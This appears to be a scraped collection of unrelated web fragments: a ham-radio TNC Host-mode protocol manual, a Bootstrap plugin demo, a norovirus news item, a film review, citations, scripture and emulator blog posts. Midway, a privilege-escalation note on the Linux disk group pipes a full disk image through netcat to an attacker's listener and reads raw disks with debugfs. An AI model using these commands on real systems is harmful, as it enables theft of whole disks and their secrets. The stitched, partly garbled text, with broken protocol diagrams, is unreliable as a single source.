string we would have used between <ESC> and <CR> to do the same thing in user
mode. This is two bytes long, so the count byte should indicate two bytes.
Count is encoded as (length - 1), so the third byte of the message should be
2 - 1 = 1.
The following is an illustration of the required transmission. The top line
lists the bytes to be sent in hex notation. The first byte sent is on the
left. Below each byte of the top line is an explanation of that byte.   As soon as the byte
count is fulfilled (i.e., when the last byte has been received) the TNC accepts
the transmission as complete.
How do we know the TNC got the command OK? Simple: it responds with a status
message. A U0 command can't fail, so we can guess that the status message will
be a success message. A U0 command doesn't return any information, either, so
no data field will be present. So, we can guess that the TNC will respond with
a transmission in the short format:
00 00
! !
! +--- Code = 0 (Success, no data follows)
+------ Channel 0
Now we can see the general shape of any computer-TNC transaction: the
computer sends a command to the TNC, and the TNC responds with an appropriate
message. In writing a program to interface with Host mode, we will have to
take care of building these outgoing frames and interpreting the incoming
frames. If we take a hint from WA8DED and W6IXU, we will implement a single
routine that does the dirty work of sending a transmission and receiving the
response.
In receiving the response, the routine will have to decide how many
characters to read from the serial port by looking at the code in the second
byte of the TNC's message. This code tells it in which format the transmission
will be: short format with no following data, null-terminated format with some
data ending in a null, or byte-count format with a count and the specified
number of bytes of information.
Notice that the routine that receives the response doesn't have to have any
knowledge of the current state of the TNC or the application program. The
meaning and encoding of the TNC's response is completely determined by the data
in that response. This simplifies the routine that receives the response by
isolating it from the complexities of the application program.
Chapter 4
Polling the TNC: the G command
The most essential, basic transaction in Host mode is the G command, which
polls a specific channel of the TNC for events and data. A typical Host-mode
application program will constantly send G commands to the TNC and interpret
the responses. Since the G command is a query to a specific channel of the
TNC, it is necessary to send G commands to all of the channels that may be in
use. Data received from a station connected on channel 1 (or 2, or 3, or 4)
will be sent to the computer as a response to a G command directed to channel 1
(or 2, or 3, or 4). Monitored data will be sent to the computer as a G command
directed to channel 0.
The G command has three forms. A command of "G" will return any of the
possible responses that is available. A command of "G0" will return only
information. A command of "G1" will return only link status responses. This
is useful when you are waiting for a link status change and do not wish to
handle data, or vice versa.
The only other thing that changes in a G command is the channel number. Be
sure to send G commands to all channels that may be active. You need not send
G commands to channel 4 if Y is 3, for instance, but you must send G commands
to channels 0 through 3. The unrestricted G command has the following format:
0x 01 00 47
! ! !  If the program polls
the TNC constantly with G commands, most of the replies will be "nothing
available". This simply means nothing new has happened on the link since the
last poll. This response applies to any of the three forms of the G command.
Each of the other possible responses indicates an event on the AX.25 channel: a
change in Link Status (such as "DISCONNECTED"), which is evoked by G or G1, or
receipt of a frame of monitored or connected data, which is evoked by G or G0.
The detailed formats of these responses will be discussed later in this
document.
Monitored information is handled specially by the G command. Monitored data
is handled on channel 0 of the TNC. The monitor header is transmitted
separately from the monitor information. The monitor header transmission
indicates whether or not there is an associated information transmission to
come. If there is, it will be the next response on channel 0. This scheme has
two results: it spares the programmer the task of parsing out monitor
information from the monitor header (if such is desired), and it keeps the
maximum transmission length down to the maximum data field size, rather than
the data field size plus the monitor header size (and thus allows the count to
be a single byte).
This scheme for monitored data might be considered a violation of the rule
that each computer-TNC transmission is self-contained and self-explanatory.
The monitored information transmission is qualified by the immediately
preceding monitor header transmission. You many want to treat a monitor header
with information as a special case in the application program, and grab the
corresponding monitor information transmission immediately.
Chapter 5
Details of Computer-to-TNC Format
As we said before, the computer-to-TNC transmissions must always follow this
format:
{channel}{info/cmd}{count}{data...}
The three header bytes (channel, info/cmd, and count) are expressed in
binary. For instance, to specify 0 for any of these values, send a NULL (^^U,
'^Y0' for C fans, CHR$(0) for BASIC fans). DON'T send the ASCII character '0'.
The data field will contain one of the following:
1. Data to be transmitted via the AX.25 link.
2. A command string just like you might issue from the normal user mode
(the part strictly between the <ESC> and the <CR>).
3. "G", the Host-mode poll command.
If data for the AX.25 link is to be sent, the info/cmd byte must be zero
(binary zero, remember, not ASCII "0"). The data field may contain any bytes
whatsoever, but not more than 256 of them. Count up the data bytes and
subtract one to find the value of the count byte.   It is not part of the transmission format.
If the information is sent to channel 0, it will go out unproto to the
address on channel 0 (default CQ). If information is sent on channel 1 - 4
while that channel is not connected, it is ignored.
If a command string is to be sent, the info/cmd byte must be one. The data
field should contain the ASCII command string. It does not contain <ESC> or
<CR>, just the characters that would go between them to form a normal user-mode
command. For instance, to set TXDELAY to 30, send the TNC this transmission:
00 01 02 54 33 30
! ! !  C, D, F, N, O, and V commands are channel specific in exactly the
same way as they are in user mode. The L command is different in Host mode,
and will be discussed later in this document. The G command has already been
discussed. The channel number is not significant for other commands. You may
use whatever channel number is convenient. (WA8DED and W6IXU send these
commands to channel 0).
The byte-count format for the computer-to-TNC transmissions is used because
it provides "data transparency". This means that any bytes whatsoever may
appear in the data field. The TNC can just accept the next so many bytes from
the computer without thinking about it. If a special character were used to
signal the end of the data, that character could not occur in the data. The
null-terminated format can use this scheme, since the data in these is
guaranteed not to contain a null.
Unfortunately, the byte-count scheme is not very robust. If a character is
lost or a spurious character is inserted, the computer and TNC could stay out
of synch forever. We must take pains to detect loss of synch and to recover
from the fault. Fortunately, the first byte of a transmission has only five
valid values (0-4) and the second byte has only two valid values (0 and 1), so
it is possible to detect a loss of synchronization in most cases. Timeouts can
also be used to detect synch failures. Once the error is detected, recovery is
possible. Host mode recovery will be discussed later in this document.
Chapter 6
Details of TNC-to-Computer Format
The TNC-to-computer transmission format is a bit more complicated than the
computer-to-TNC format. The key to decoding a transmission from the TNC is the
code byte that follows the channel number byte. The following table gives the
code values:
TNC-TO-COMPUTER CODES
Code Meaning Format
==== ======= ======
0 Success, nothing follows short format
(Nothing available)
1 Success, message follows null-terminated format
2 Failure, message follows null-terminated format
3 Link status null-terminated format
4 Monitor header/no info null-terminated format
5 Monitor header/info null-terminated format
6 Monitor information byte-count format
7 Connected information byte-count format
These various formats are used for different purposes. Codes 0, 1, and 2 are
responses to an information or command transmission from the computer. If a
batch of information was queued for transmission successfully or if a command
completes successfully without returning any information, a code 0 transmission
will be the reply:
02 00
! !
! +---- Code = 1 (Success, nothing follows)
+------- Channel = 2 (same as the info or command sent)
If the command is successful and returns information (like any command without
an argument), a code 1 transmission will be the reply. The returned data will
follow the code, "null terminated". This just means that a 0 byte will appear
after the last information byte. For example, consider an M command without an
argument. In user mode, the user would type <ESC>M<CR>, and the TNC would
display something like
* IUSCRT *
In Host mode, the command would be
00 01 00 4D
! ! !   H e l l o t h e r e .
  A 0 code can also be a response to a G poll. A 0 code means that
nothing is available for that channel: that is, no events worthy of notice have
taken place on the channel polled. This is the most common response to a G
command.
0x 00
! !
! +---- Code = 0 (Nothing available)
+------- Channel = x (same as the G command)
A code of 3 signifies a Link Status message. These messages are:
LINK STATUS MESSAGES
({n}) BUSY fm {call} via {digipeaters}
({n}) CONNECTED to {call} via {digipeaters}
({n}) LINK RESET fm {call} via {digipeaters}
({n}) LINK RESET to {call} via {digipeaters}
({n}) DISCONNECTED fm {call} via {digipeaters}
({n}) LINK FAILURE with {call} via {digipeaters}
CONNECT REQUEST fm {call} via {digipeaters}
({n}) FRAME REJECT (x y z) fm {call} via {digipeaters}
({n}) FRAME REJECT (x y z) to {call} via {digipeaters}
These messages should look familiar, since they are identical to the messages
displayed by the TNC in user mode. {n} is the channel number. Notice that the
channel number in the message is redundant information. The channel number may
be omitted from this message in a future release.
For instance, if I connect to you direct on channel 2, a poll of channel 2
(not necessarily the next one, depending on what else is going on) will return
the event:
02 03<PHONE_NUMBER>4F4E4E454354454420746F204B42354D55 00
! !  This is a null-terminated
format message containing the
fm {call} to {call} via {digipeaters} ctl {name} pid {hex}
string that forms a monitor header. The monitor header is also identical to
the monitor header displayed in user mode. If the code was 4, the monitored
frame contained no information field, so the monitor header is all you get.  In
this case, another G command to channel 0 will return the monitored information
with a code of 6. Since data transmissions must be transparent, the monitored
information is passed as a byte-count format transmission. That is, it is
preceded by a count byte (one less than the number of bytes in the field). No
null terminator is used in this case. Since codes 4, 5, and 6 pertain to
monitored information, they will be seen only on channel 0.   It is a byte-count format transmission, for
data transparency.   This report is similar to the
report given by the L command in user mode, but more extensive. To obtain the
Channel Status report, send an L command to the channel of interest. The TNC
will (barring error) respond with a code 1 packet. The information field of
this packet will contain six decimal number in ASCII delimited by spaces.
  L
! ! !
! ! +---- Count = 0 (one data byte)
! +------- Info/cmd = 1 (this is a command)
+---------- Channel = 0 (give me a report on channel 0)
Will return a Channel Status report similar to this one.
00 01 30 20 33 00
! ! 0 3 !
! ! !
! ! +---- null termination
! +------- Code = 1 (Success with info)
+---------- Channel = 0 (this is a report on channel 0)
The interpretation of the returned information is as follows:
CHANNEL STATUS FORMAT
a b c d e f
a = Number of link status messages not yet displayed
b = Number of receive frames not yet displayed
c = Number of send frames not yet transmitted
d = Number of transmitted frames not yet acknowledged
e = Number of tries on current operation
f = Link state
Possible link states are:
0 = Disconnected
1 = Link Setup
2 = Frame Reject
3 = Disconnect Request
4 = Information Transfer
5 = Reject Frame Sent
6 = Waiting Acknowledgement
7 = Device Busy
8 = Remote Device Busy
9 = Both Devices Busy
10 = Waiting Acknowledgement and Device Busy
11 = Waiting Acknowledgement and Remote Busy
12 = Waiting Acknowledgement and Both Devices Busy
13 = Reject Frame Sent and Device Busy
14 = Reject Frame Sent and Remote Busy
15 = Reject Frame Sent and Both Devices Busy
NOTE 1: Only items a and b are displayed for channel 0.
NOTE 2: Only states 0 - 4 are possible if version 1 is in use.
How you will use the Channel Status report will depend on your application.
An interactive terminal program might simply display some or all of the
information and leave it at that. A mailbox program might want to wait for all
packets to be acknowledged before starting a timeout timer or before
disconnecting. A mail forwarder would want to make sure all data was
acknowledged before considering its task done. Any program might want to give
up if throughput is too low. These functions are easy to implement with Host
mode.
Chapter 8
Host Mode Error Recovery
What happens if something goes wrong on the computer-TNC link? Maybe there
is a loose wire, or maybe RF got into the RS-232 lines. Maybe it's just
Murphy. For whatever reason, the data on the line got corrupted. RS-232 links
are very reliable, so you may never see an error, but the application program
should be ready to cope with one.
The error recovery program must assume that the TNC is in a completely
unknown state. It might be expecting more bytes to fill a byte count (if bytes
coming from the computer were lost). It might be simply waiting for a
transmission, but the computer thought there was an error since data was lost
or corrupted on its way from the TNC. What we want to do is hit the TNC with a
stream of data that will eventually bring it into a known state. Preferably,
this process should generate little or no spurious data on the AX.25 link.
The first thing to do is dump any further data that may be coming from the
TNC. We don't know what it is, and so we can't use it. The possibility exists
that this is connected information we're dropping on the floor. This is just
too bad. There is nothing we can do.
Next, we just send ^A's one at a time until the TNC responds. The first few
^A's may go to fulfill a byte count that the TNC is waiting for. If this
happens to be a connected information transmission, these ^A's will go out on
the AX.25 link. Tough. When any outstanding byte count is fulfilled (no more
than 256 should be required), the following five ^A's will be seen as a command
on channel 1.
A command of "^A^A" doesn't mean anything, so the TNC should respond with a
failure message:
01 02 49 4E 56 41 4C 49 44 20 43 4F 4D 4D 41 4E 44 00
! !  Null termination --+
+------- Same channel as the command specified
We don't really care what the response is, though. It may not be exactly what
we expect. For instance, the first ^A might fulfill the byte count of a
garbled command. This would usually generate an error message of some other
type. All we need is to get the first response. Then we know that the TNC is
waiting for a command.
This implies that we have to wait between ^A's long enough to see if there is
a response yet. This can make the recovery process a slow one. For instance,
if the TNC spuriously receives 00 00 FF, it expects to see 256 data bytes
following, so we will have to send 256 ^A's before we get a response (which
will probably be a success message, since this is just a data transmission to
the TNC). Fortunately, this error recovery process is not required very often.
-EOF-
Ritorna a Software Radioamatoriale by
IW3FQG


Producing responsive websites with the latest frameworks...
Greetings fellow Visitors!
I am self-taught Javascript programmer from NYC


Help
How do I measure distances in MolCalc?
You double-click on atom 1 and then double-click on atom 2, in the JSmol window.
How do I measure angles in MolCalc?
You double-click on atom 1, single click on atom 2, and then double-click on atom 3, in the JSmol window.
The JSmol looks broken?
Touch it with your cursor and it will look great again.


Email me with ideas or feedback. This demo page was made with the flatly bootstrap theme.
This plugin source is on github.
A simple example of Promo Slide is below. It customizes the header text, and puts a link in the body text.
$('body').promoSlide({ headerText: "Read more from my blog", bodyText: "Latest article: 10 Blogging Tips" });
Promo Slide uses a panel
component from Bootstrap as the main container HTML. This way the panel markup is well-known, there are some built-in style variations, and additional styles can be added easily. The panel is wrapped in a plugin class promo-slide-container
.
The examples below are bootstrap panels using the panel-primary
, panel-info
, and panel-danger
CSS classes.
Sint four loko fashion axe Pitchfork, beard aliqua Banksy ethical in ut est ad +1 kogi Etsy. Tote bag assumenda id occaecat, Blue Bottle cliche ea culpa Thundercats semiotics Cosby sweater ad street art. Trust fund cornhole +1, sapiente try-hard craft beer jean shorts. Trust fund messenger bag nisi non Thundercats selvage. Literally YOLO meh, meggings photo booth mustache aute velit. Organic master cleanse actually, craft beer McSweeney's tote bag gentrify excepteur Terry Richardson dolore viral Portland mumblecore sustainable. IPhone Wes Anderson shabby chic meggings, yr Austin street art exercitation direct trade.
Yr nisi post-ironic, McSweeney's four loko velit mumblecore VHS Helvetica. Ugh kitsch Portland, Truffaut pork belly ex excepteur Brooklyn pop-up. Flexitarian readymade excepteur reprehenderit semiotics photo booth. Food truck forage authentic roof party. Et pariatur minim irure. Quis leggings gastropub authentic, est locavore kogi polaroid iPhone blog. Skateboard Schlitz Wes Anderson assumenda Bushwick id.
Street art deep v kitsch Austin yr. Brooklyn cray eiusmod, aesthetic veniam freegan velit sint mixtape ut Neutra gentrify. Pariatur banh mi gluten-free XOXO. Enim banh mi +1 nostrud reprehenderit kitsch, bitters asymmetrical beard incididunt Brooklyn odio kale chips. Literally cornhole YOLO, before they sold out pork belly readymade mollit dreamcatcher. Narwhal brunch wayfarers in Vice exercitation fanny pack, Marfa Bushwick id asymmetrical. Placeat Blue Bottle 90's eiusmod, cornhole consequat veniam chillwave try-hard viral Helvetica art party.
Literally tousled selvage labore church-key, aesthetic accusamus post-ironic mlkshk assumenda raw denim XOXO esse. Trust fund sustainable Cosby sweater incididunt Schlitz messenger bag, officia PBR. Cillum culpa Banksy Truffaut, narwhal retro commodo pug Williamsburg chillwave Tumblr umami drinking vinegar artisan hella. Cosby sweater pork belly banh mi, Portland flannel aesthetic trust fund 90's accusamus church-key bicycle rights. Delectus jean shorts umami, Austin eu gluten-free locavore skateboard vero exercitation. Selvage meggings cornhole, food truck DIY assumenda mustache. Deserunt post-ironic roof party laboris, salvia chambray trust fund Etsy chillwave retro pariatur magna try-hard farm-to-table.
Literally tousled selvage labore church-key, aesthetic accusamus post-ironic mlkshk assumenda raw denim XOXO esse. Trust fund sustainable Cosby sweater incididunt Schlitz messenger bag, officia PBR. Cillum culpa Banksy Truffaut, narwhal retro commodo pug Williamsburg chillwave Tumblr umami drinking vinegar artisan hella. Cosby sweater pork belly banh mi, Portland flannel aesthetic trust fund 90's accusamus church-key bicycle rights. Delectus jean shorts umami, Austin eu gluten-free locavore skateboard vero exercitation. Selvage meggings cornhole, food truck DIY assumenda mustache. Deserunt post-ironic roof party laboris, salvia chambray trust fund Etsy chillwave retro pariatur magna try-hard farm-to-table.
Literally tousled selvage labore church-key, aesthetic accusamus post-ironic mlkshk assumenda raw denim XOXO esse. Trust fund sustainable Cosby sweater incididunt Schlitz messenger bag, officia PBR. Cillum culpa Banksy Truffaut, narwhal retro commodo pug Williamsburg chillwave Tumblr umami drinking vinegar artisan hella. Cosby sweater pork belly banh mi, Portland flannel aesthetic trust fund 90's accusamus church-key bicycle rights. Delectus jean shorts umami, Austin eu gluten-free locavore skateboard vero exercitation. Selvage meggings cornhole, food truck DIY assumenda mustache. Deserunt post-ironic roof party laboris, salvia chambray trust fund Etsy chillwave retro pariatur magna try-hard farm-to-table.
Literally tousled selvage labore church-key, aesthetic accusamus post-ironic mlkshk assumenda raw denim XOXO esse. Trust fund sustainable Cosby sweater incididunt Schlitz messenger bag, officia PBR. Cillum culpa Banksy Truffaut, narwhal retro commodo pug Williamsburg chillwave Tumblr umami drinking vinegar artisan hella. Cosby sweater pork belly banh mi, Portland flannel aesthetic trust fund 90's accusamus church-key bicycle rights. Delectus jean shorts umami, Austin eu gluten-free locavore skateboard vero exercitation. Selvage meggings cornhole, food truck DIY assumenda mustache. Deserunt post-ironic roof party laboris, salvia chambray trust fund Etsy chillwave retro pariatur magna try-hard farm-to-table.
Literally tousled selvage labore church-key, aesthetic accusamus post-ironic mlkshk assumenda raw denim XOXO esse. Trust fund sustainable Cosby sweater incididunt Schlitz messenger bag, officia PBR. Cillum culpa Banksy Truffaut, narwhal retro commodo pug Williamsburg chillwave Tumblr umami drinking vinegar artisan hella. Cosby sweater pork belly banh mi, Portland flannel aesthetic trust fund 90's accusamus church-key bicycle rights. Delectus jean shorts umami, Austin eu gluten-free locavore skateboard vero exercitation. Selvage meggings cornhole, food truck DIY assumenda mustache. Deserunt post-ironic roof party laboris, salvia chambray trust fund Etsy chillwave retro pariatur magna try-hard farm-to-table.
Copyright © Andy Atkinson. Source code is MIT License.


Nottingham hospitals issue warning as norovirus confirmed on wards
Norovirus, also called the "winter vomiting bug", is a stomach bug that causes vomiting and diarrhoea
by Ben ReidNottingham University Hospitals Trust has issued a warning to visitors after norovirus was reported on hospital wards.
The Trust which runs the Queen's Medical Centre and Nottingham City Hospital is urging the public not to visit the wards unless they have been free of sickness for more than 72 hours.
This is to help prevent infections spreading further as norovirus can spread very easily.
A tweet from NUH at 1pm on Saturday, November 23, said: "We have norovirus on some of our wards.
"Suffering from norovirus or other common sickness bugs? The best advice is to stay at home and rest. Please avoid visiting any public places such as hospitals, care homes or GP surgeries during and directly after your illness."
Norovirus, also called the "winter vomiting bug", is a stomach bug that causes vomiting and diarrhoea.
People may also experience a high temperature of 38C or above, a headache and aching arms and legs.
The symptoms start suddenly within one to two days of being infected.
Washing hands frequently with soap is the best way to stop it spreading.
You can catch norovirus from close contact with someone with the bug, touching surfaces or objects that have the virus on them, then touching your mouth and eating food that's been prepared or handled by someone with norovirus.


DISK group is another good group to be a part of. Things that are common to do:
strings for certain files
debugfs for access
compress, dump, and download for analysis
Compress, dump, and download:
ls -la /dev/sd* and see you have rw on disks
find the mapper of the disk you want with the 'mount' command (in this case: /dev/mapper/Kotarak--vg-root)
Now find where the disk actually is located:
ls /dev/mapper/Kotarak--vg-root -> ../dm-0
cd /dev
ls -la | grep dm-0 (check your permissions to ensure you can indeed read)
and now compress and send an image over for analysis
dd if=/dev/dm-0 | gzip -1 - | nc <LIP> <PORT>
obtain disk on attacker side: nc -lvvnp <port> > disk.img.gz
gunzip -d disk.img.gz
and now read your disk.img
debugfs:
debugfs /dev/sd<##>
and psuedo terminal, ls/cat/strings/etc files as normal


Vendor Name:
altis Human Resources Inc. (Ottawa)
Reference Number:
4000368
Contract Date:
2013-26-08
Description of Work:
Temporary Help Services
Contract Period:
2013-29-04 to 2013-31-12
Delivery Date:
2013-31-12
Original Contract Value:
$84,197.43
Current Contract Value:
$126,695.99
Comments:
This contract was competitively sourced and includes one or more amendments.
Former Public Servant in Receipt of a Pension under the Public Service Superannuation Act:
No


Is More Autonomy Always Better? Exploring Preferences of Users with Mobility Impairments in Robot-assisted Feeding.
T. Bhattacharjee, E.K. Gordon, R. Scalise, M.E. Cabrera, A. Caspi, M. Cakmak, and S.S. Srinivasa.
In ACM/IEEE International Conference on Human-Robot Interaction, 2020.
Adaptive Robot-Assisted Feeding: An Online Learning Framework for Acquiring Previously-Unseen Food Items.
E.K. Gordon, X. Meng, T. Bhattacharjee, M. Barnes, and S. S. Srinivasa.
Under Review, 2020.
Towards Robotic Feeding: Role of Haptics in Fork-based Food Manipulation.
T. Bhattacharjee, G. Lee, H. Song, and S.S. Srinivasa.
IEEE Robotics and Automation Letters, 2019.
Transfer depends on Acquisition: Analyzing Manipulation Strategies for Robotic Feeding.
D. Gallenberger, T. Bhattacharjee, Y. Kim, and S.S. Srinivasa.
ACM/IEEE International Conference on Human-Robot Interaction, 2019.
Best Paper Award Winner for Technical Advances in HRI
Sensing Shear Forces During Food Manipulation: Resolving the Trade-Off Between Range and Sensitivity.
H. Song, T. Bhattacharjee, and S.S. Srinivasa.
IEEE International Conference on Robotics and Automation, 2019.
A Community-Centered Design Framework for Robot-Assisted Feeding Systems.
T. Bhattacharjee, M. E. Cabrera, A. Caspi, M. Cakmak, and S.S. Srinivasa.
International ACM SIGACCESS Conference on Computers and Accessibility, 2019.
Robot-Assisted Feeding: Generalizing Skewering Strategies across Food Items on a Plate.
R. Feng, Y. Kim, G. Lee, E.K. Gordon, M. Schmittle, S. Kumar, T. Bhattacharjee, and S.S. Srinivasa.
International Symposium on Robotics Research, 2019.


Completed by Noah B Johnson for DS320 at Luther College
In this report I analyze two biased news sources, one liberal, and one conservative. By exploring many of the questions surrounding the phenomenon of "fake news", hopefully we can gain a better understanding of the echo-chamber effect and how political bias and tone interact with topics in the new media.


|
||||||||||
| PREV LETTER NEXT LETTER | FRAMES NO FRAMES |
Bisimulation.splitPartitions
), and a modified version of the
algorithm kTail (Bisimulation.mergePartitions
) that considers state
labels instead of state transitions.
|
||||||||||
| PREV LETTER NEXT LETTER | FRAMES NO FRAMES |


Text to Speech [ENG/JPN] Highligh any text in the webpage and a sexy computer lady will speak the sentence Use shortcut key to control over the playeback
Volume
13
Pitch
Playback Rate


LOCKET, THE (director: John Brahm; screenwriter: Sheridan Gibney; cinematographer: Nick Musuraca; editor: J.R. Whittredge; cast: Laraine Day (Nancy Blair/Patton), Brian Aherne (Dr. Blair), Robert Mitchum (Norman Clyde), Gene Raymond (John Willis), Ricardo Cortez (Mr. Bonner), Henry Stephenson (Lord Wyndham), George Humbert (Luigi), Sharyn Moffett (Nancy, age 10), Katherine Emery (Mrs. Willis), Lilian Fontaine (Lady Wyndham), Gloria Donovan (Karen), 1946)
Reviewed by Dennis Schwartz
A psychological drama about a woman with a dark secret from her childhood that is carried over to her adult life. It's a post-war baroque melodrama, creaky as wooden steps in an old mildewed house might be. It's from the German émigré director, John Brahm, who gives this genre a decidedly European flavor."The Locket" has something to say about a person with a severe personality disorder needing the proper psychological therapy.
It was too wooden a presentation to generate anything but a few sparks. But the way of telling the story by flashbacks within flashbacks, from the view of the male lovers who were deceived by the pert heroine, Nancy Blair (Laraine Day), is visually unconventional, and the story itself, is cleverly diverting.
The wealthy John Willis (Gene Raymond ) is a happy man, who is about to marry the charming Nancy Patton (an alias last name) today. He seems to be very content with his choice of bride, even though he doesn't know much about her and his parents haven't met her until now. He is suddenly confronted by a stranger bursting into his house, who identifies himself as Dr. Blair (Aherne), a psychoanalyst, and Nancy's former husband. That surprises him. She never told him that she was married before. Blair tells the startled John that he has something urgent to tell him about Nancy and warns him not to be fooled by her amiable exterior, she is a sick woman with a history of kleptomania and will ruin him like she did her other lovers, telling him to stop the marriage before it is too late.
Dr. Blair tells him about a portrait artist in New York, Norman Clyde (Mitchum), who almost married her. The flashbacks within the flashbacks begin here. This is early Mitchum before he reached stardom. This was one role that was not suited for his temperament. It's one of the few performances I thought he was awful in. He plays an angry Bohemian artist, overly concerned with the integrity of his work, who meets Nancy when she came to him as an art pupil, on the insistence of her boss, Mr. Bonner (Cortez). She was his secretary and he an avid art patron. Clyde is invited to show his art collection at a gathering Bonner is having for his wealthy acquaintances. To Clyde's dismay, he discovers in Nancy's purse a bracelet stolen at the party. He makes her mail it anonymously back to the guest she stole it from and gets her to tell him about her childhood. She tells him that her mother was a housekeeper for a wealthy woman, Mrs. Willis (Emery), and that when she was 10-years-old, she was friends with that lady's daughter, Karen. On Karen's birthday, Mrs. Willis refuses to let the servant's child attend the party, but Karen gives Nancy a locket as a present, anyway. When the mother finds out what Karen did, she retrieves the necklace, which unknown to the little girls, is actually a diamond locket. This action disappoints Nancy. Later the locket is reported stolen and Nancy is accused of taking it, even though she is innocent, she gets blamed for something she didn't do. The locket is retrieved when Nancy's mother finds it in Karen's dress, but Nancy's mother is fired anyway. This event turns out to be the critical one in Nancy's life, as she vows that if God somehow gives her the locket -- she will never ask him for anything else again.
Invited again to a Bonner shindig, Nancy disappears upstairs with Bonner, and Clyde suspecting them of being secret lovers, quietly follows her. A gunshot comes from Bonner's room and Nancy emerges, but she is sneaked back into the party by Clyde. The valet who found Bonner's body is eventually charged with the murder. Clyde doesn't believe her explanation and their romance breaks up.
When he finds out that Blair eloped with her in Miami and now lives with her in New York, he goes to his workplace to warn him about the femme fatale, but Blair refused to believe him. In a scene that was impossible to fathom, Clyde becomes so upset that he couldn't get Blair to go to the district attorney and stop the execution of an innocent man, that he jumps to his death from the office window of Blair's workplace.
Blair says, he didn't believe Clyde's story until the couple went to England during the war, and he found out for himself that his wife stole jewelry from Lord Wyndham's wife. As an added bit of melodramatics, Blair cracked up over this and was institutionalized, and only recently was released.
John is not impressed with the story and the wedding precedes. Before the wedding, Mrs. Willis, as a surprise gift, gives her daughter-in-law, whom she doesn't recognize as being the servant girl, the locket she wanted as a child, telling her the owner of the locket, Karen, has died. But when walking down the aisle, the bride's repressed memories come hauntingly back, and she has a nervous breakdown and is carted off to the loony bin.
It's a somber story, with a lot of heavy-handed things going on. The plot devices were too leaden to be fully credible, but the complexities of the heroine's character were well presented. The analyst's comments about her stealing to get even with Mrs. Willis, seemed to be a reasonable explanation, if taken on face value. But that doesn't answer her ability to murder or her depraved indifference to men while pretending to like them. Her revenge is shown to be complete when she is about to marry the son of the woman who accused her of the theft.
The locket only had some glitter but not enough substance to make its aims lucidly felt. Though, as muddled as it was, it still kept me alert, wanting to know what gives. The problem is, that I never found out what gives.
REVIEWED ON 4/29/2000 GRADE: C-
Dennis Schwartz: "Ozus' World Movie Reviews"
http://www.sover.net/~ozus
<EMAIL_ADDRESS>© ALL RIGHTS RESERVED DENNIS SCHWARTZ
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


section>
Susy is a helper tool that lets you create any kind of grids easily without the need do a ton of math. The beauty about Susy is that it separates presentational CSS from the HTML.
If you have used traditional grid frameworks like Foundation and Bootstrap before, you already know that the grids that come with these frameworks already have fixed widths and breakpoints. Furthermore, classes have to be added to the HTML if you decide to change your layout.
Susy removes this layer altogether. You can immediately target any css class and apply a grid to it.
https://zellwk.com/blog/susy2-tutorial/


Random notes
RAII§
In C++, this pattern of deallocating resources at the end of an item's lifetime is sometimes called Resource Acquisition Is Initialization
. In Rust we call drop
trait.
In C++, this pattern of deallocating resources at the end of an item's lifetime is sometimes called Resource Acquisition Is Initialization
. In Rust we call drop
trait.


Time Sandwich Episode
The "Time Sandwich" episode begins with Jake creating a once in a life time perfect sandwich.
The "Time Sandwich" episode begins with Jake creating a once in a life time perfect sandwich.
Finn and Jake are tasked with investigating reports of a haunting at Joshua and Margaret's old office.
Hunson Abadeer returns to Ooo to bond with his daughter Marceline, but will he be able to prove he's changed his soul-sucking ways?
When an old flame comes calling on urgent business, Tree Trunks reconsiders both her wild past and her tranquil present.
A mysterious knight crashes Finn's birthday bash and presents him with a dangerous gift.
A long lost artifact causes Princess Bubblegum to harken back to the creation of the Candy Kingdom.
When Flame Princess is coaxed into a high stakes battle against the indomitable Son of Rap Bear, Finn must help her search for a new strategy.


Resources can be placed normally, and they can be accessed normally. This is often useful for site-wide resources (such as images) and other static resources (like documentations)


Narrated Aisha:
Abdur-Rahman bin Abi Bakr came holding a Siwak with which he was cleaning his teeth. Allah's Apostle looked at him. I requested `Abdur-Rahman to give the Siwak to me and after he gave it to me I divided it, chewed it and gave it to Allah's Apostle. Then he cleaned his teeth with it and (at that time) he was resting against my chest.


Jeremiah 52:16
But Nebuzaradan the captain of the guard left certain of the poor of the land for vinedressers and for husbandmen.


This example demonstrates a non-standard type of initialization by calculating a spring constant such that a simple pendulum is at a defined position in steady state.
The goal is that the pendulum should be in steady state when the rotation angle of the pendulum is zero. The spring constant of the spring shall be calculated during initialization such that this goal is reached.
The pendulum has one degree of freedom, i.e., two states. Therefore, two additional equations have to be provided for initialization. However, parameter "c" of the spring component is defined with attribute "fixed = false", i.e., the value of this parameter is computed during initialization. Therefore, there is one additional equation required during initialization. The 3 initial equations are the rotational angle of the revolute joint and its first and second derivative. The latter ones are zero, in order to initialize in steady state. By setting the start values of phi, w, a to zero and their fixed attributes to true, the required 3 initial equations are defined.
After translation, this model is initialized in steady-state. The spring constant is computed as c = 49.05 N/m. An animation of this simulation is shown in the figure below.


May 10th, 2010
Hi all
Sorry it has been so long since my last update. I’ve had projects that took higher priority than my emulation development. I still have very little free time to work on emulation but I will make more of an effort to make time for it and this site.
I will start looking back into gameboy sound emulation and will write a tutorial on it when I finish.
Also I wanted to say thanks to those of you who have left positive comments, it is appreciated. Ive been searching the internet and found a few people using my tutorials for their own emulators which is great to see.
Thanks
CS
Posted in Uncategorized | 4 Comments »
May 6th, 2009
Well I have implemented all 4 channels and individually they sound correct. When I combine them though there is a serious issue. Although I can still hear each channel playing correctly it is like the mixing is causing the seperate channels to be playing at the wrong volume. Still it shouldnt be too long until I have it working. Expect a gameboy sound tutorial soon. Im hoping to be on to my Sega Mega Drive/Genesis emulator by the start of June
CS.
Posted in Gameboy | 34 Comments »
April 27th, 2009
Well I have finally started sound emulation for the gameboy and am finding it much more difficult than the SMS. There really seems to be a lack of sound emulation resources on the net. For the time being I am only emulating the two square waves as I have experience with how these work from the SMS. Although I have implemented everything to do with the square waves it still isnt producing the correct tune. The beat seems correct but the notes are completely off. Still encouraging though as this was exactly how my SMS sounded a day or two before I cracked it.
On a slightly annoying note my trunk svn gameboy dev seems to have a few bugs in the vdp and cpu that have appeared out of nowhere. I might look into redeveloping my Gameboy emulator when I have finished the sound as the knowledge I have gained from developing the SMS I feel I could take it to the next level. Still I’m getting impatient to start my mega drive/genesis emulator…
